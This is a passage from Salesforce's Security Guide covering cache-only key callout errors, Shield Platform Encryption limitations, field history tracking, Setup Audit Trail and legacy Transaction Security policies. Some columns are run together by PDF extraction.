header with an incorrect key ID. Expected: credential properly and are using the
{valid keyID}. Actual: {invalid keyID}. correct BYOK-compatible certificate.
INCORRECT_ALGORITHM_IN_JWE_HEADER The remote key service returned a JWE The algorithm for encrypting the content
header that specified an unsupported encryption key in your JWE header must
algorithm (alg): {algorithm}. be in RSA-OAEP format.
INCORRECT_ENCRYPTION_ALGORITHM_IN_JWE_HEADER The remote key service returned a JWE The algorithm for encrypting the data
header that specified an unsupported encryption key in your JWE header must
encryption algorithm (enc): {your enc}. be in A256GCM format.
INCORRECT_DATA_ENCRYPTION_KEY_SIZE Data encryption keys encoded in a JWE Make sure that your data encryption key
must be 32 bytes. Yours is {value} bytes. is 32 bytes.
213
Salesforce Security Guide Key Management and Rotation
MISSING_PARAMETERS_IN_JWE_HEADER Your JWE header is missing one or more Make sure that your JWE header includes
parameters. Required: {0}. Found:{1}. all required values. For example, if Replay
Detection is enabled, the JWE header must
include the nonce value extracted from
the cache-only key callout.
AUTHENTICATION_FAILURE_RESPONSE Authentication with the remote key service Check the authentication settings for your
failed with the following error: {error}. chosen named credential.
POTENTIAL_REPLAY_ATTACK_DETECTED The remote key service returned a JWE Make sure that your JWE header includes
header with an incorrect nonce value. the RequestID included in the callout.
Expected: {0}. Actual: {1}
UNKNOWN_ERROR The remote key service callout failed and The certificate for your cache-only key
returned an error: expired. Update your cache-only key
java.security.cert.CertificateExpiredException: material to use an active BYOK-compatible
NotAfter: {date and time of expiration} certificate.
The following key service errors can prevent the callout from completing. If you see errors related to these problems, contact your
key service administrator for help.
• The JWE is corrupt or malformed.
• The data encryption key is malformed.
• The key service returned a malformed JWE token.
• The key service returned an empty response.
For uniform resource use, Salesforce limits the amount of time for each key service callout to 3 seconds. If the callout takes more
than the allotted time, Salesforce fails the callout with a timeout error. Check that your key service is available. Make sure that your
named credential references the correct endpoint—check the URL, including the IP address.
Can I execute a remote callout in Apex?
Yes. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your
code doesn’t have to. To reference a named credential from a callout definition, use the named credential URL. A named credential
URL contains the scheme callout, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
See Named Credentials as Callout Endpoints in the Apex Developer Guide.
Can I monitor my callout history?
If you want to review or track cache-only key events, use the RemoteKeyCalloutEvent standard object. Either use the
describeSObjects() call to view event information, or an after insert Apex trigger to perform custom actions after each
callout. For example, you can write a trigger that stores RemoteKeyCallout events in a custom object. When you store
RemoteKeyCallout events in a custom object, you can monitor your callout history. See the RemoteKeyCalloutEvent entry in
the SOAP API Developer Guide for more information.
The Setup Audit Trail tracks changes in key material state and named credential settings. Callout history isn’t recorded in log files.
214
Salesforce Security Guide Shield Platform Encryption Customizations
When I try to access data encrypted with a cache-only key, I see “?????” instead of my data. Why?
Masking means one of two things. Either the connection to your key service is broken and we can’t fetch your key, or the data is
encrypted with a destroyed key. Check that your key service is available and that your named credential references the correct
endpoint. If any key versions are marked as Destroyed as a result of a key service failure, recover the connection and manually activate
the key version.
Do I have to make a new named credential every time I rotate a key?
Nope. You can use a named credential with multiple keys. As long as you host your key material at the endpoint specified in an
existing named credential, you’re all set. When you rotate your key material, change the key ID in the Unique Key Identifier field.
Double-check that your new key is stored at the specified endpoint URL in your named credential.
I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive or Salesforce Customer Support. They’ll put you in touch with a support
team specific to this feature.
215
Salesforce Security Guide Shield Platform Encryption Customizations
7. Click Save.
Tip: Standard matching rules are automatically deactivated when encryption is added to a field referenced by that rule. To
encrypt fields referenced in standard matching rules, follow steps 3–8.
8. After you get the email verifying encryption’s been enabled on your fields, reactivate your matching rule and associated duplicate
management rule.
Matching rules used in duplicate management now return exact and fuzzy matches on encrypted data.
Example: Let’s say you recently encrypted Billing Address on your Contacts, and you want to add this field to a custom matching
rule. First, deactivate the rule or rules you want to add this field to. Make sure that Billing Address is encrypted with the deterministic
encryption scheme. Then add Billing Address to your custom matching rule, just like you would add any other field. Finally, reactivate
your rule.
When you rotate your key material, you must update custom matching rules that reference encrypted fields. After you rotate your key
material, deactivate and then reactivate the affected matching rules. Then contact Salesforce to request the background encryption
process. When the background encryption process finishes, your matching rules can access all data encrypted with your active key
material.
216
Salesforce Security Guide Shield Platform Encryption Customizations
Important: To ensure accurate matching results, customers who used the beta version of this feature must deactivate any
matching rules that reference encrypted fields and then reactivate them. If your custom matching rule fails on reactivation, contact
Salesforce for help reactivating your match index.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
This works:
(encryptedField__c & encryptedField__c)
Why it doesn’t work: LOWER isn’t a supported function, and the input is an encrypted value.
Case
CASE returns encrypted field values, but doesn’t compare them.
217
Salesforce Security Guide Shield Platform Encryption Customizations
This works:
CASE(custom_field__c, "1", cf2__c, cf3__c))
Why it works: custom_field__c is compared to “1”. If it is true, the formula returns cf2__c because it’s
not comparing two encrypted values.
This works:
OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))
Why it works: Both ISBLANK and ISNULL are supported. OR works in this example because ISBLANK and
ISNULL return a Boolean value, not an encrypted value.
Spanning
This works:
(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &
(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)
How and why you use it: Spanning retrieves encrypted data from multiple entities. For example, let’s say you work in the
customer service department for Universal Containers. A customer has filed a case about a distribution
problem, and you want to see the scope of the issue. You want all the shipping addresses related
to this particular case. This example returns all the customers’ shipping addresses as a single string
in your case layout.
Validation
The encryption validation service checks your org to make sure that it’s compatible with encrypted formula field types.
When you encrypt a given field, the validation service:
• Retrieves all formula fields that reference the field
• Verifies that the formula fields are compatible with encryption
• Verifies that the formula fields aren’t used elsewhere for filtering or sorting
218
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Limits
Up to 200 formula fields can reference a given encrypted custom field. A field that is referenced by more than 200 formula fields can’t
be encrypted. If you need to reference an encrypted custom field from more than 200 formula fields, contact Salesforce.
When you specify multiple fields to encrypt at one time, the 200-field limit is applied to the whole batch. If you know that you are
encrypting fields that have multiple formula fields pointing to them, encrypt those fields one at a time.
219
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
3. Create a strategy early for backing up and archiving keys and data.
If your tenant secrets are destroyed, reimport them to access your data. You are solely responsible for making sure that your data
and tenant secrets are backed up and stored in a safe place. Salesforce cannot help you with deleted, destroyed, or misplaced tenant
secrets.
4. Read the Shield Platform Encryption considerations and understand their implications on your organization.
• Evaluate the impact of the considerations on your business solution and implementation.
• Test Shield Platform Encryption in a sandbox environment before deploying to a production environment. Encryption policy
settings can be deployed using change sets.
• Before enabling encryption, fix any violations that you uncover. For example, if you reference encrypted fields in a SOQL ORDER
BY clause, a violation occurs. Fix the violation by removing references to the encrypted fields.
• When requesting feature enablement, such as pilot features, give Salesforce Customer Support several days lead time. The time
to complete the process varies based on the feature and how your org is configured.
220
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
7. Grant the Manage Encryption Keys user permission to authorized users only.
Users with the Manage Encryption Keys permission can generate, export, import, and destroy organization-specific keys. Monitor
the key management activities of these users regularly with the setup audit trail.
12. Use discretion when granting login as access to users or Salesforce Customer Support.
If you grant login access to a user, and they have field level security access to an encrypted field, that user is able to view encrypted
data in that field in plaintext.
If you want Salesforce Customer Support to follow specific processes around asking for or using login as access, you can create
special handling instructions. Salesforce Customer Support follows these instructions in situations where login as access may help
them resolve your case. To set up these special handling instructions, contact your account executive.
221
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Flow Builder Record Choice Set resource Record Choice Set resource
Get Records element Get Records element
Delete Records element
Update Records element
You can store the value from an encrypted field in a variable and operate on that value in your flow’s logic. You can also update the
value for an encrypted field.
Paused flow interviews can cause data to be saved in an unencrypted state. When a flow or process is waiting to resume, the associated
flow interview is serialized and saved to the database. The flow interview is serialized and saved when:
• Users pause a flow
• Flows execute a Pause element
• Processes are waiting to execute scheduled actions
If the flow or process loads encrypted fields into a variable during these processes, that data isn’t always encrypted at rest.
Custom Fields
You can’t use encrypted custom fields in criteria-based sharing rules.
Some custom fields can’t be encrypted.
• Fields that have the Unique or External ID attributes or include these attributes on previously encrypted custom fields
(applies only to fields that use the probabilistic encryption scheme)
222
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
SOQL/SOSL
• You can’t include fields encrypted with the probabilistic encryption scheme in the following SOQL and SOSL clauses and functions:
– Aggregate functions such as MAX(), MIN(), and COUNT_DISTINCT()
– WHERE clause
– GROUP BY clause
– ORDER BY clause
For information about SOQL and SOSL compatibility with deterministic encryption, see Considerations for Using Deterministic
Encryption in Salesforce Help.
Tip: Consider whether you can replace a WHERE clause in a SOQL query with a FIND query in SOSL.
• When you query encrypted data, invalid strings return an INVALID_FIELD error instead of the expected MALFORMED_QUERY.
Pardot
Pardot supports contact email addresses encrypted by Shield Platform Encryption as long as your Pardot instance meets a few conditions.
Your org must allow multiple prospects with the same email address. After this feature is enabled, you can add the contact email address
field to your encryption policy.
Because the contact email address shows in the Permission object, users must have permission to view the Prospect object.
If you encrypt the contact email address field, the Salesforce-Pardot Connector can’t use the email address as a secondary prospect
match criteria. For more information, read Salesforce-Pardot Connector Settings.
Portals
If a legacy portal (created before 2013) is enabled in your org, you can't encrypt standard fields. Deactivate all legacy customer and
partner portals to enable encryption on standard fields. (Salesforce Experience Cloud sites are supported.)
To deactivate a legacy customer portal, go to the Customer Portal Settings page in Setup. To deactivate a legacy partner portal, go to
the Partners page in Setup.
Search
If you encrypt fields with a key and then destroy the key, the corresponding search terms remain in the search index. However, you can’t
decrypt the data associated with the destroyed key.
223
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Email-to-Case
Copying text from email fields also copies unicode characters embedded in email text. Two of those unicode character sequences,
\uFFFE and \uFFFF, can’t be included in text encrypted by Shield Platform Encryption. If you encounter an error mentioning these
unicode sequences, delete the text copied from the email field and type it manually.
Activity Subject
You can encrypt an Activity Subject field with case-insensitive encryption. If you destroy key material that encrypts a field, filtering on
the field doesn’t yield matches.
If you encrypt the Activity Subject field and it’s used in a custom picklist, delete and replace actions aren’t available for that value. To
remove an Activity Subject value from a picklist, deactivate it .
Activity Subject fields that include an OrgID aren’t copied over when you create a sandbox copy of a production org.
224
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Campaigns
Campaign member search isn’t supported when you search by encrypted fields.
Notes
You can encrypt the body text of Notes created with the new Notes tool. However, the Preview file and Notes created with the old Notes
tool aren’t supported.
Salesforce Experiences
If you encrypt the Account Name field and you’re not using Person Accounts, encryption affects how users’ roles are displayed to admins.
Normally, a site user’s role name is displayed as a combination of their account name and the name of their user profile. When you
encrypt the Account Name field, the account ID is displayed instead of the account name.
For example, when the Account Name field isn’t encrypted, users belonging to the Acme account with the Customer User profile would
have a role called Acme Customer User. When Account Name is encrypted (and Person Accounts aren’t in use), the role is displayed
as something like 001D000000IRt53 Customer User.
225
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Service protections ensure that loads are balanced across the system. The matching service searches for match candidates until it finds
all matches up to 200 matches. With Shield Platform Encryption, the service search maximum is 100 candidates. With encryption, you
could find fewer or no possible duplicate records.
Duplicate jobs aren’t supported.
Employees
If the email field is encrypted using probabilistic encryption, wellness check surveys can’t be used. Deterministic encryption is fully
supported.
General
• Encrypted fields can’t be used in:
– Criteria-based sharing rules
– Similar opportunities searches
– External lookup relationships
• Fields encrypted with the probabilistic encryption scheme can’t be used in filter criteria for data management tools. For considerations
specific to filter-preserving deterministic encryption, read Considerations for Using Deterministic Encryption on page 226.
• Web-to-Case is supported, but the Web Company, Web Email, Web Name, and Web Phone fields aren’t encrypted at rest.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
226
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Filter Operators
In reports and list views, the operators “equals” and “not equal to” are supported with case-sensitive deterministic encryption. Other
operators, like “contains” or “starts with,” don’t return an exact match and aren’t supported. Features that rely on unsupported operators,
such as Refine By filters, also aren’t supported.
Case-insensitive deterministic encryption supports list views and reports. However, the user interface displays all operators, including
operators that aren’t supported for encrypted data. To review the list of supported operators, see Use Encrypted Data in Formulas.
Formulas
Fields encrypted with the deterministic encryption scheme can’t be referenced in SOQL WHERE queries.
Case Sensitivity
When you use case-sensitive deterministic encryption, case matters. In reports, list views, and SOQL queries on encrypted fields, the
results are case-sensitive. Therefore, a SOQL query against the Contact object, where LastName = Jones, returns only Jones, not jones
or JONES. Similarly, when the case-sensitive deterministic scheme tests for unicity (uniqueness), each version of “Jones” is unique.
227
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
External ID
Case-insensitive deterministic encryption supports Text and Email external ID custom fields but not other external ID custom fields.
When you create or edit these fields, use one of the following field setting combinations.
You can’t save changes to both Unique - Case-Sensitive and Encrypted options at the same time. Change one setting, save it, then
change the next.
Compound Fields
Even with deterministic encryption, some kinds of searches don’t work when data is encrypted with case-sensitive deterministic encryption.
Concatenated values, such as compound names, aren’t the same as the separate values. For example, the ciphertext for the compound
name “William Jones” isn’t the same as the concatenation of the ciphertexts for “William” and “Jones”.
So, if the First Name and Last Name fields are encrypted in the Contacts object, this query doesn’t work:
Select Id from Contact Where Name = 'William Jones'
Case-sensitive and case-insensitive deterministic encryption schemes support compound fields, but only with individual column queries.
228
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Indexes
Case-sensitive deterministic encryption supports single-column indexes, single-column case-sensitive unique indexes, two-column
indexes, and custom indexes on standard and custom fields.
Case-insensitive deterministic encryption offers limited support for standard indexes on the following standard fields.
• Contact—Email
• Email Message—Relation
• Lead—Email
• Name
Queries against these fields, when encrypted with case-insensitive deterministic encryption, can perform poorly with large tables. For
optimal query performance, use custom indexes instead of standard indexes. To set up custom indexes, contact Salesforce Customer
Support.
Expect the enablement process to take longer when you apply deterministic encryption to a field with a large number of records. To
support filtering, the enablement process also rebuilds field indexes.
Chat
For the best possible recommendation results, use the case-sensitive deterministic encryption scheme with the Utterance field on the
Utterance Suggestion object. This field doesn’t support other encryption schemes at this time.
229
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
230
Salesforce Security Guide Tradeoffs and Limitations of Shield Platform Encryption
Note: This list isn’t exhaustive. For information about a field not shown here, refer to the API.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
231
Salesforce Security Guide Monitoring Your Organization’s Security
• Salesforce IQ
• Social Customer Service
• Thunder
• Quip
• Salesforce Billing
Legacy portals (customer, self-service, and partner) don’t support data encrypted with Shield Platform Encryption. If legacy portals are
active, Shield Platform Encryption can’t be enabled.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?
IN THIS SECTION:
Monitor Login History
As an admin, you can monitor all login attempts to your Salesforce org and Experience Cloud sites. The Login History page shows
up to 20,000 records of user logins for the past 6 months. To see more records, download the information to a CSV or GZIP file.
Field History Tracking
You can select certain fields to track and display the field history in the History related list of an object. Field history data is retained
for up to 18 months through your org, and up to 24 months via the API. Field history tracking data doesn’t count against your
Salesforce org’s data storage limits.
Monitor Setup Changes with Setup Audit Trail
Setup Audit Trail tracks the recent setup changes that you and other admins make to your Salesforce org. Audit history is especially
useful in orgs with multiple admins.
Transaction Security Policies (Legacy)
Transaction Security is a framework that intercepts real-time Salesforce events and applies appropriate actions and notifications
based on security policies you create. Transaction Security monitors events according to the policies that you set up. When a policy
is triggered, you can receive a notification and have an optional action taken.
232
Salesforce Security Guide Monitor Login History
• SAML Single Sign-On (SSO)–If your org uses SAML SSO identity provider certificates, view SAML SSO history.
• My Domain–You can see when users are logging in with a My Domain URL, which is displayed in the Login URL column.
• License Manager Users–Internal users with names in the format 033*********2@00d2********db indicate users who are associated
with the License Management App (LMA). This app manages the number of licenses used by a subscriber org. These internal users
can appear in the License Management org (LMO) and in subscriber orgs that have an AppExchange package managed by the LMA.
233
Salesforce Security Guide Field History Tracking
Note: Due to the nature of geolocation technology, the accuracy of geolocation fields (for example, country, city, postal code)
can vary.
3. Select the file contents. The All Logins option includes API access logins.
4. Click Download Now.
234
Salesforce Security Guide Field History Tracking
• Solutions
Modifying any of these fields adds an entry to the History related list. All entries include the date, time, nature of the change, and who
made the change. Not all field types are available for historical trend reporting. Certain changes, such as case escalations, are always
tracked.
Note: Since the Spring ’15 release, increasing the entity field history retention period beyond the standard 18–24 months requires
the purchase of the Field Audit Trail add-on. When the add-on subscription is enabled, your field history retention period is changed
to reflect the retention policy provided with your subscription. If your org was created before June 1, 2011, Salesforce continues
to retain all field history. If your org was created on or after June 1, 2011 and you decide not to purchase the add-on, Salesforce
retains your field history for the standard 18–24 months.
Consider the following when working with field history tracking.
• Salesforce starts tracking field history from the date and time that you enable it on a field. Changes made before this date and time
aren’t included and didn’t create an entry in the History related list.
• Use Data Loader or the queryAll() API to retrieve field history that ‘s 18–24 months old.
• Changes to fields with more than 255 characters are tracked as edited, and their old and new values aren’t recorded.
• Tracked field values aren’t automatically translated; they display in the language in which they were made. For example, if a field is
changed from Green to Verde, Verde is displayed no matter what a user’s language is, unless the field value has been translated
into other languages via the Translation Workbench. This behavior also applies to record types and picklist values.
• Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the user viewing
the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a user with a Spanish
locale sees the custom field label as Rojo. Otherwise, the user sees the custom field label as Red.
• Changes to date fields, number fields, and standard fields are shown in the locale of the user viewing the History related list. For
example, a date change to August 5, 2012 shows as 8/5/2012 for a user with the English (United States) locale, and as
5/8/2012 for a user with the English (United Kingdom) locale.
• If Process Builder, an Apex trigger, or a Flow causes a change on an object the current user doesn’t have permission to edit, that
change isn’t tracked. Field history honors the permissions of the current user and doesn’t record changes that occur in system context.
• In Lightning, you can see gaps in numerical order in the Created Date and ID fields. All tracked changes still are committed and
recorded to your audit log. However, the exact time that those changes occur in the database can vary widely and aren't guaranteed
to occur within the same millisecond. For example, there can be triggers or updates on a field that increase the commit time, and
you can see a gap in time. During that time period, IDs are created in increasing numerical order but can also have gaps for the same
reason.
• Changes to time fields aren’t tracked in the field history related list.
• The Field History Tracking timestamp is precise to a second in time. In other words, if two users update the same tracked field on
the same record in the same second, both updates have the same timestamp. Salesforce can’t guarantee the commit order of these
changes to the database. As a result, the display values can look out of order.
• You can’t create a record type on a standard or custom object and enable field history tracking on the record type in the same
Metadata API deployment. Instead, create the record type in one deployment and enable history tracking on it in a separate
deployment.
IN THIS SECTION:
Track Field History for Standard Objects
You can enable field history tracking for standard objects in the object’s management settings.
Track Field History for Custom Objects
You can enable field history tracking for custom objects in the object’s management settings.
235
Salesforce Security Guide Field History Tracking
5. Click Save.
Salesforce tracks history from this date and time forward. Changes made prior to this date and time are not included.
236
Salesforce Security Guide Field History Tracking
USER PERMISSIONS
237
Salesforce Security Guide Field History Tracking
Note: Once Field Audit Trail is enabled, HistoryRetentionPolicy is automatically set on the supported objects. By
default, data is archived after 18 months in a production organization, after one month in a sandbox organization, and all archived
238
Salesforce Security Guide Field History Tracking
data is stored for 10 years. The default retention policy is not included when retrieving the object’s definition through the Metadata
API. Only custom retention policies are retrieved along with the object definition.
You can include field history retention policies in managed and unmanaged packages.
The following fields can’t be tracked.
• Formula, roll-up summary, or auto-number fields
• Created By and Last Modified By
• Expected Revenue field on opportunities
• Master Solution Title or the Master Solution Details fields on solutions
• Long text fields
• Multi-select fields
After you define and deploy a Field Audit Trail policy, production data is migrated from related history lists such as Account History into
the FieldHistoryArchive big object. The first copy writes the field history that’s defined by your policy to archive storage and
sometimes takes a long time. Subsequent copies transfer only the changes since the last copy and are much faster. A bounded set of
SOQL is available to query your archived data. If you delete a record in your production data, the delete cascades to the associated history
tracking records, but the history copied into the FieldHistoryArchive big object isn’t deleted. To delete data in
FieldHistoryArchive, see Delete Field History and Field Audit Trail Data.
Use Async SOQL to build aggregate reports from a custom object based on the volume of the data in the FieldHistoryArchive
big object.
Important: If you enable Platform Encryption in your org and use Field Audit Trail to track encrypted fields, there are limitations
on using Async SOQL. In particular, using Async SOQL to query the NewValue or OldValue fields of the
FieldHistoryArchive big object is not supported. Use SOQL to query both encrypted and unencrypted NewValue
and OldValue fields of FieldHistoryArchive.
Tip: Previously archived data remains unencrypted if you turn on Platform Encryption later. For example, your organization uses
Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. After enabling
Platform Encryption, you turn on encryption for that field, and phone number data in the account is encrypted. New phone number
records and previous updates stored in the Account History related list are encrypted. However, phone number history data that
is already archived in the FieldHistoryArchive object remains stored without encryption. If your organization wants to
encrypt previously archived data, contact Salesforce. We encrypt and rearchive the stored field history data, then delete the
unencrypted archive.
239
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail
The history shows the 20 most recent setup changes made to your org. It lists the date of the change, Available in: Contact
who made it, and what the change was. If a delegate, like an admin or customer support Manager, Essentials,
representative, makes a setup change on behalf of an end user, the Delegate User column shows Group, Professional,
the delegate’s username. For example, if a user grants login access to an admin and the admin Enterprise, Performance,
makes a setup change, the admin’s username is listed. Unlimited, Developer, and
Database.com Editions
Setup Audit Trail tracks these changes.
240
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail
Customization • User interface settings like collapsible sections, Quick Create, hover details, or related list hover links
• Page layout, action layout, and search layouts
• Compact layouts
• Salesforce app navigation menu
• Inline edits
• Custom fields and field-level security, including formulas, picklist values, and field attributes like the
auto-number field format, field manageability, or masking of encrypted fields
• Lead settings, lead assignment rules, and lead queues
• Activity settings
• Support settings, business hours, case assignment and escalation rules, and case queues
• Requests to Salesforce Customer Support
• Tab names, including tabs that you reset to the original tab name
• Custom apps (including Salesforce console apps), custom objects, and custom tabs
• Contract settings
• Forecast settings
• Email-to-Case or On-Demand Email-to-Case, enabling or disabling
241
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail
Security and Sharing • Public groups, sharing rules, and org-wide sharing, including the Grant Access Using Hierarchies option
• Password policies
• Password resets
• Session settings, like session timeout (excluding Session times out after and Session security level
required at login profile settings)
• Delegated administration groups and the items delegated admins can manage (setup changes made by
delegated administrators are also tracked)
• Lightning Login, enabling or disabling, enrollments, and cancellations
• How many records a user permanently deleted from their Recycle Bin and from the Org Recycle Bin
• SAML (Security Assertion Markup Language) configuration settings
• Salesforce certificates
• Identity providers, enabling or disabling
• Named credentials
• Service providers
• Shield Platform Encryption setup
• Event Manager
• Transaction Security
• Some connected app policy and setting updates
Data Management • Using mass delete, including when a mass delete exceeds the user’s Recycle Bin limit on deleted records
• Data export requests
• Mass transfer use
242
Salesforce Security Guide Monitor Setup Changes with Setup Audit Trail
Using the application • Account team and opportunity team selling settings
243
Salesforce Security Guide Transaction Security Policies (Legacy)
A transaction security policy consists of events, notifications, and actions. For example, when a user tries to export Account data, you
can block the operation and get notified by email.
IN THIS SECTION:
Set Up Legacy Transaction Security
Activate and configure transaction security on your Salesforce org before creating your own custom policies. Only an active user
assigned the System Administrator profile can use this feature.
244
Salesforce Security Guide Transaction Security Policies (Legacy)
Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as Available in: Salesforce
of Summer ’20. You can no longer create, edit , or enable transaction security policies using Classic and Lightning
Experience
the legacy framework and will receive an error message if you try to do so. For more
information, see Legacy Transaction Security Retirement. To create transaction security policies Available in: Enterprise,
using the new framework, refer to the Enhanced Transaction Security documentation. To Unlimited, and Developer
migrate legacy policies to the new framework, refer to the migration documentation. Editions
1. Enable transaction security policies to make them available for use. Requires Salesforce Shield
or Salesforce Event
a. From Setup, enter Transaction Security in the Quick Find box, and then select
Monitoring add-on
Transaction Security Policies.
subscriptions.
b. Click Enable.
When you enable Transaction Security, two policies are created: Concurrent User Session Limit
and Lead Data Export. As of the Spring ’20 release, Salesforce no longer creates these sample USER PERMISSIONS
policies in new orgs, as they are part of the legacy transaction security framework, which is
User Permissions Needed
being retired. Orgs created before the Spring ’20 release continue to include these sample
policies. For more information and examples, see Transaction Security Policies. To create, edit, and manage
transaction security policies:
2. Set the Transaction Security preferences for your org. • Customize Application
a. On the Transaction Security Policies page, click Edit Preferences. To manage transaction
b. Select When users exceed the maximum number of Salesforce sessions allowed, security policies:
close the oldest session. • Author Apex
Login policies affect programmatic access and access from Salesforce Classic and Lightning
Experience. When you create a policy that limits the number of concurrent user sessions, all
sessions count toward that limit. Regular logins with a username and password, logins by web applications, logins using Authentication
Providers, and all other login types are considered.
The session limit isn’t a problem in Salesforce Classic or Lightning Experience because you’re prompted to select which session or
sessions to end. That choice isn’t available from within a program, so the program receives a Transaction Security exception that the
session limit has been reached.
To prevent this problem, select When users exceed the maximum number of Salesforce sessions allowed, close the oldest
session. Then when a programmatic request is made that exceeds the number of sessions allowed, older sessions are automatically
ended until the session count is below the limit. Here’s how the OAuth flows handle login policies with and without the preference
being set.
245
Salesforce Security Guide Transaction Security Policies (Legacy)
OAuth 2.0 JWT bearer token Access Token granted TXN_SECURITY_END_SESSION exception
Older sessions are ended until you’re within policy
compliance.
OAuth 2.0 username and Access granted Access denied due to more than the number of
password Older sessions are ended until you’re within policy sessions allowed by the policy
compliance.
For more information on authentication flows, see Authorize Apps with OAuth in Salesforce Help.
246
Salesforce Security Guide Transaction Security Policies (Legacy)
Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as Available in: Salesforce
of Summer ’20. You can no longer create, edit , or enable transaction security policies using Classic and Lightning
Experience
the legacy framework and will receive an error message if you try to do so. For more
information, see Legacy Transaction Security Retirement. To create transaction security policies Available in: Enterprise,
using the new framework, refer to the Enhanced Transaction Security documentation. To Unlimited, and Developer
migrate legacy policies to the new framework, refer to the migration documentation. Editions
Important: This topic discusses only how to create a legacy transaction security policy. For Requires Salesforce Shield
details on creating an enhanced policy, see Build a Transaction Security Policy with Condition or Salesforce Event
Builder or Create an Enhanced Transaction Security Policy That Uses Apex. Monitoring add-on
subscriptions.
You can create multiple policies for the same type of event, but we recommend that your policies
and their actions don't overlap. If multiple policies with the same action for a given event execute
when the event occurs, their order of execution is indeterminate. USER PERMISSIONS
1. From Setup, enter Transaction in the Quick Find box, select Transaction Security Policies,
User Permissions Needed
and then click New.
To create, edit, and manage
2. Click Apex then Next.
transaction security policies:
3. Click Transaction Security Policy (the legacy version of transaction security). • Customize Application
4. Select the event type and associated resource that your policy monitors. To manage transaction
security policies:
Note: AccessResource event policies don't trigger when Dashboard Subscriptions send
• Author Apex
an email. These policies still trigger when users access resources directly from a dashboard.
Lightning Experience supports only the Feed Comment and Feed Item resources, while
Salesforce Classic supports all Chatter resources. You can’t create a Data Export event
policy for joined reports, historical reports, or custom report types.
5. If you’re creating an Apex-based policy in a non-production environment, in Apex Class, select New Empty Apex Class. (Transaction
Security creates a stub, or placeholder, Apex policy condition.) Otherwise, use an existing Apex policy condition.
6. Select what the policy does when triggered and who is notified and how. Any users you select must have Modify All Data and View
Setup permissions.
Note: Although you’re required to enter a user in the Execute Policy As field, the automated process user always executes
the policy.
The actions available vary depending on the event type. For login and resource events, you can also block the action or require a
higher level of access control with multi-factor authentication. For Chatter events, you can freeze the user or block the post. For
Login events, you can require ending an existing session before continuing with the current session. You can set the default action
for ending a session to always close the oldest session. For more information, see What Are Transaction Security Actions?
If you’re creating an Apex-based policy and use an API callout in the Apex class, you must select an action. If you select None as
the action, the policy can’t execute.
Note: Multi-factor authentication is not available in the Salesforce app or Lightning Experience for the Resource Access event
type. The Block action is used instead.
Enter a user that has Modify All Data and View Setup permissions in the Execute Policy As field. However, the automated process
user always executes the policy, regardless of the user you enter.
247
Salesforce Security Guide Transaction Security Policies (Legacy)
7. Choose a descriptive name for your policy. Your policy name can contain only underscores and alphanumeric characters, and must
be unique in your org. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
8. To enable the policy after you create it, in Status, switch to Enabled. (You can always disable it later from the Transaction Security
Policies page.)
9. Click Finish.
If you’re in a non-production environment and you selected New Empty Apex Class for your new policy, modify the generated Apex
class now before activating your policy. Click the Apex class name to get started, and add the condition that triggers the policy. See Apex
Policies for Legacy Transaction Security for examples.
Warning: Legacy Transaction Security is scheduled for retirement in all Salesforce orgs as Available in: Salesforce
of Summer ’20. For more information, see Legacy Transaction Security Retirement. You can Classic and Lightning
Experience
no longer create, edit , or enable transaction security policies using the legacy framework
and will receive an error message if you try to do so. To create transaction security policies Available in: Enterprise,
using the new framework, refer to the Enhanced Transaction Security documentation. To Unlimited, and Developer
migrate legacy policies to the new framework, refer to the migration documentation. Editions
If you didn’t specify a condition value before you generated the Apex interface for a policy, you can Requires Salesforce Shield
add the condition later. To change the condition, you can edit the Apex code to include a condition or Salesforce Event
before you activate your policy. If you don’t include a condition, your policy isn’t triggered. Monitoring add-on
subscriptions.
Don’t include DML statements in your custom policies because they can cause errors. When you
send a custom email via Apex during transaction policy evaluation, you get an error, even if the
record is not explicitly related to another record. For more information, see Apex DML Operations
in the Apex Developer Guide.
When you delete a transaction security policy, your TxnSecurity.PolicyCondition or TxnSecurity.EventCondition
implementation isn’t deleted. You can reuse your Apex code in other policies.
If you use an API callout in the Apex class that implements TxnSecurity.PolicyCondition, you must select an action when
you create the Transaction Security policy in Setup. If you select None as the action, the policy can’t execute. For more information,
see Invoking Callouts Using Apex in the Apex Developer Guide.
248
Salesforce Security Guide Real-Time Event Monitoring
• Threats detected in your org, such as anomalies in how users view or export reports, session
hijacking attacks, or credential stuffing attacks
As a best practice, before creating transaction security policies, you can view or query events to determine appropriate thresholds for
normal business usage.
IN THIS SECTION:
Real-Time Event Monitoring Definitions
Keep these terms in mind when working with Real-Time Event Monitoring.
Considerations for Using Real-Time Event Monitoring
